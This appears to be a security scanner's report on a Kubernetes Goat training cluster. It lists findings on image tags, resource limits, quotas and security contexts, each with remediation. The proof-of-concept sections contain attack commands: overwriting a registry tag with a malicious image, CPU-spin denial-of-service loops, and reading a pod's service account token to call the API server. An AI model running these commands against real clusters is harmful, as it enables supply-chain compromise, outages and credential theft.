docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/cache-store-deployment ยท secure-middleware image
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' uses image 'madhuakula/k8s-goat-cache-store' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment cache-store-deployment -n secure-middleware \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n secure-middleware -l app=cache-store-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/health-check-deployment ยท default image
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' uses image 'madhuakula/k8s-goat-health-check' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment health-check-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=health-check-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/local-path-provisioner ยท local-path-storage image
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' uses image 'docker.io/kindest/local-path-provisioner:v20251212-v0.29.0-alpha-105-g20ccfc88' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment local-path-provisioner -n local-path-storage \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n local-path-storage -l app=local-path-provisioner \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Image Not Pinned to Digest Deployment/build-code-deployment ยท default image
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' uses image 'madhuakula/k8s-goat-build-code' with a tag (not a digest). Tags are mutable โ€” a registry push can silently change what image is pulled, enabling supply-chain attacks.

MEDIUM - Image pinned by tag only; a mutable tag can be silently replaced with a malicious image and pulled on the next pod restart without any alert

Pin images to their SHA256 digest (e.g. nginx@sha256:abc123...). Use tools like Cosign or docker inspect to get the digest.
  • Image tagged by name (not digest) means pulling the same tag may return different images
  • Registry tag can be overwritten by attacker or compromised CI/CD pipeline
  • Supply chain attack: push malicious image with same tag โ€” next pod restart executes it
  • No cryptographic guarantee that the running image is the intended one
  1. Attacker gains write access to the container registry (stolen credentials, misconfigured registry)
  2. Overwrite the image tag with a backdoored image
  3. On next pod restart or scale-up, the malicious image is pulled and executed
  4. Malicious image phones home, exfiltrates data, or provides reverse shell
  5. Result: Supply chain compromise via tag mutation โ€” indistinguishable from legitimate image
# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment build-code-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=build-code-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)
๐ŸŸก MEDIUM
Missing Resource LimitsCIS 5.7.3 ยท L2 Job/batch-check-job ยท default workload
โ€บ

Container 'batch-check' in Job 'batch-check-job' has no CPU/memory limits โ€” uncontrolled resource consumption can exhaust node capacity, evict neighboring pods, and be exploited for availability attacks in multi-tenant clusters.

MEDIUM - No CPU/memory limits allows unlimited resource consumption; a single compromised or misbehaving container can exhaust the node, triggering eviction of neighboring workloads โ€” denial-of-service in multi-tenant clusters

Set resource limits for both CPU and memory.
# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Job batch-check-job -n default | grep -A5 "Limits"
kubectl get Job batch-check-job -n default -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n default -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container
๐ŸŸก MEDIUM
Missing Resource LimitsCIS 5.7.3 ยท L2 Deployment/health-check-deployment ยท default workload
โ€บ

Container 'detect-runtime-socket' in Deployment 'health-check-deployment' has no CPU/memory limits โ€” uncontrolled resource consumption can exhaust node capacity, evict neighboring pods, and be exploited for availability attacks in multi-tenant clusters.

MEDIUM - No CPU/memory limits allows unlimited resource consumption; a single compromised or misbehaving container can exhaust the node, triggering eviction of neighboring workloads โ€” denial-of-service in multi-tenant clusters

Set resource limits for both CPU and memory.
# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment health-check-deployment -n default | grep -A5 "Limits"
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n default -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container
๐ŸŸก MEDIUM
Missing Resource LimitsCIS 5.7.3 ยท L2 Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' has no CPU/memory limits โ€” uncontrolled resource consumption can exhaust node capacity, evict neighboring pods, and be exploited for availability attacks in multi-tenant clusters.

MEDIUM - No CPU/memory limits allows unlimited resource consumption; a single compromised or misbehaving container can exhaust the node, triggering eviction of neighboring workloads โ€” denial-of-service in multi-tenant clusters

Set resource limits for both CPU and memory.
# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -A5 "Limits"
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n local-path-storage -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container
๐ŸŸก MEDIUM
Missing Resource LimitsCIS 5.7.3 ยท L2 Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' has no CPU/memory limits โ€” uncontrolled resource consumption can exhaust node capacity, evict neighboring pods, and be exploited for availability attacks in multi-tenant clusters.

MEDIUM - No CPU/memory limits allows unlimited resource consumption; a single compromised or misbehaving container can exhaust the node, triggering eviction of neighboring workloads โ€” denial-of-service in multi-tenant clusters

Set resource limits for both CPU and memory.
# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -A5 "Limits"
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n secure-middleware -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container
๐ŸŸก MEDIUM
Missing Resource LimitsCIS 5.7.3 ยท L2 Job/hidden-in-layers ยท default workload
โ€บ

Container 'hidden-in-layers' in Job 'hidden-in-layers' has no CPU/memory limits โ€” uncontrolled resource consumption can exhaust node capacity, evict neighboring pods, and be exploited for availability attacks in multi-tenant clusters.

MEDIUM - No CPU/memory limits allows unlimited resource consumption; a single compromised or misbehaving container can exhaust the node, triggering eviction of neighboring workloads โ€” denial-of-service in multi-tenant clusters

Set resource limits for both CPU and memory.
# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Job hidden-in-layers -n default | grep -A5 "Limits"
kubectl get Job hidden-in-layers -n default -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n default -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container
๐ŸŸก MEDIUM
Missing Resource LimitsCIS 5.7.3 ยท L2 Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' has no CPU/memory limits โ€” uncontrolled resource consumption can exhaust node capacity, evict neighboring pods, and be exploited for availability attacks in multi-tenant clusters.

MEDIUM - No CPU/memory limits allows unlimited resource consumption; a single compromised or misbehaving container can exhaust the node, triggering eviction of neighboring workloads โ€” denial-of-service in multi-tenant clusters

Set resource limits for both CPU and memory.
# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -A5 "Limits"
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n big-monolith -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container
๐ŸŸก MEDIUM
Missing ResourceQuota on NamespaceCIS 5.7.1 ยท L1 Namespace/default ยท default workload
โ€บ

Namespace 'default' has no ResourceQuota. A single misbehaving workload can exhaust CPU/memory for the entire namespace or cluster.

MEDIUM - No ResourceQuota allows one namespace to exhaust cluster resources, starving all other workloads

Define a ResourceQuota with CPU, memory, and pod count limits for every namespace.
  • No ResourceQuota allows unlimited resource consumption in the namespace
  • A single runaway workload can exhaust all cluster CPU/memory
  • Malicious workload can consume all node resources causing eviction of other pods
  • No guardrail against crypto miners, fork bombs, or accidental resource leaks
  1. Deploy a resource-hungry workload in the unquota'd namespace
  2. Workload consumes all available node CPU/memory
  3. Other namespaces' pods evicted due to resource pressure
  4. OOMKiller terminates co-located pods across the cluster
  5. Result: Tenant-isolation breach โ€” one namespace starves all others
# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n default
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n default --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin โ€” no limit!

kubectl top pods -n default  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n default \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5
๐ŸŸก MEDIUM
Missing ResourceQuota on NamespaceCIS 5.7.1 ยท L1 Namespace/secure-middleware ยท secure-middleware workload
โ€บ

Namespace 'secure-middleware' has no ResourceQuota. A single misbehaving workload can exhaust CPU/memory for the entire namespace or cluster.

MEDIUM - No ResourceQuota allows one namespace to exhaust cluster resources, starving all other workloads

Define a ResourceQuota with CPU, memory, and pod count limits for every namespace.
  • No ResourceQuota allows unlimited resource consumption in the namespace
  • A single runaway workload can exhaust all cluster CPU/memory
  • Malicious workload can consume all node resources causing eviction of other pods
  • No guardrail against crypto miners, fork bombs, or accidental resource leaks
  1. Deploy a resource-hungry workload in the unquota'd namespace
  2. Workload consumes all available node CPU/memory
  3. Other namespaces' pods evicted due to resource pressure
  4. OOMKiller terminates co-located pods across the cluster
  5. Result: Tenant-isolation breach โ€” one namespace starves all others
# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n secure-middleware
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n secure-middleware --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin โ€” no limit!

kubectl top pods -n secure-middleware  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n secure-middleware \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5
๐ŸŸก MEDIUM
Missing ResourceQuota on NamespaceCIS 5.7.1 ยท L1 Namespace/big-monolith ยท big-monolith workload
โ€บ

Namespace 'big-monolith' has no ResourceQuota. A single misbehaving workload can exhaust CPU/memory for the entire namespace or cluster.

MEDIUM - No ResourceQuota allows one namespace to exhaust cluster resources, starving all other workloads

Define a ResourceQuota with CPU, memory, and pod count limits for every namespace.
  • No ResourceQuota allows unlimited resource consumption in the namespace
  • A single runaway workload can exhaust all cluster CPU/memory
  • Malicious workload can consume all node resources causing eviction of other pods
  • No guardrail against crypto miners, fork bombs, or accidental resource leaks
  1. Deploy a resource-hungry workload in the unquota'd namespace
  2. Workload consumes all available node CPU/memory
  3. Other namespaces' pods evicted due to resource pressure
  4. OOMKiller terminates co-located pods across the cluster
  5. Result: Tenant-isolation breach โ€” one namespace starves all others
# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n big-monolith
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n big-monolith --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin โ€” no limit!

kubectl top pods -n big-monolith  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n big-monolith \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5
๐ŸŸก MEDIUM
Missing ResourceQuota on NamespaceCIS 5.7.1 ยท L1 Namespace/local-path-storage ยท local-path-storage workload
โ€บ

Namespace 'local-path-storage' has no ResourceQuota. A single misbehaving workload can exhaust CPU/memory for the entire namespace or cluster.

MEDIUM - No ResourceQuota allows one namespace to exhaust cluster resources, starving all other workloads

Define a ResourceQuota with CPU, memory, and pod count limits for every namespace.
  • No ResourceQuota allows unlimited resource consumption in the namespace
  • A single runaway workload can exhaust all cluster CPU/memory
  • Malicious workload can consume all node resources causing eviction of other pods
  • No guardrail against crypto miners, fork bombs, or accidental resource leaks
  1. Deploy a resource-hungry workload in the unquota'd namespace
  2. Workload consumes all available node CPU/memory
  3. Other namespaces' pods evicted due to resource pressure
  4. OOMKiller terminates co-located pods across the cluster
  5. Result: Tenant-isolation breach โ€” one namespace starves all others
# MEDIUM: Missing ResourceQuota on Namespace - Resource Exhaustion

kubectl get resourcequota -n local-path-storage
# No resources found = VULNERABLE

# Deploy resource-intensive workload to demonstrate unbounded consumption
kubectl run resource-hog --image=alpine -n local-path-storage --restart=Never -- \
  sh -c "while true; do :; done"  # 100% CPU spin โ€” no limit!

kubectl top pods -n local-path-storage  # CPU spikes with no cap
kubectl top nodes       # Node CPU impacted

# REMEDIATION: Create ResourceQuota:
kubectl create quota ns-quota -n local-path-storage \
  --hard=cpu=4,memory=8Gi,pods=20,persistentvolumeclaims=5
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/metadata-db ยท default container
โ€บ

Container 'metadata-db' in Deployment 'metadata-db' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/metadata-db -n default -c metadata-db -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/build-code-deployment ยท default container
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/build-code-deployment -n default -c build-code -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/cache-store-deployment ยท secure-middleware container
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/cache-store-deployment -n secure-middleware -c cache-store -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/kubernetes-goat-home-deployment ยท default container
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/kubernetes-goat-home-deployment -n default -c kubernetes-goat-home -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/hunger-check-deployment ยท big-monolith container
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/hunger-check-deployment -n big-monolith -c hunger-check -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Job/batch-check-job ยท default container
โ€บ

Container 'batch-check' in Job 'batch-check-job' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it batch-check-job -n default -c batch-check -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/local-path-provisioner ยท local-path-storage container
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/local-path-provisioner -n local-path-storage -c local-path-provisioner -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/internal-proxy-deployment ยท default container
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/internal-proxy-deployment -n default -c internal-api -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Deployment/poor-registry-deployment ยท default container
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
# MEDIUM: Container Running as Root

kubectl exec -it deploy/poor-registry-deployment -n default -c poor-registry -- /bin/sh
id
# uid=0(root) โ€” HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true
๐ŸŸก MEDIUM
Missing Security ContextCIS 5.2.1 ยท L1 Job/hidden-in-layers ยท default container
โ€บ

Container 'hidden-in-layers' in Job 'hidden-in-layers' has no securityContext.

MEDIUM - Increases attack surface, root execution, writable filesystem

Add securityContext with runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false.
  • Container runs as root (uid=0)
  • Writable filesystem allows backdoor installation
  • No security restrictions applied
  • Service account token accessible for API access
  1. Exploit application vulnerability for shell
  2. Confirm root access with id command
  3. Install backdoor in writable filesystem
  4. Extract service account token
  5. Escalate to cluster-level access
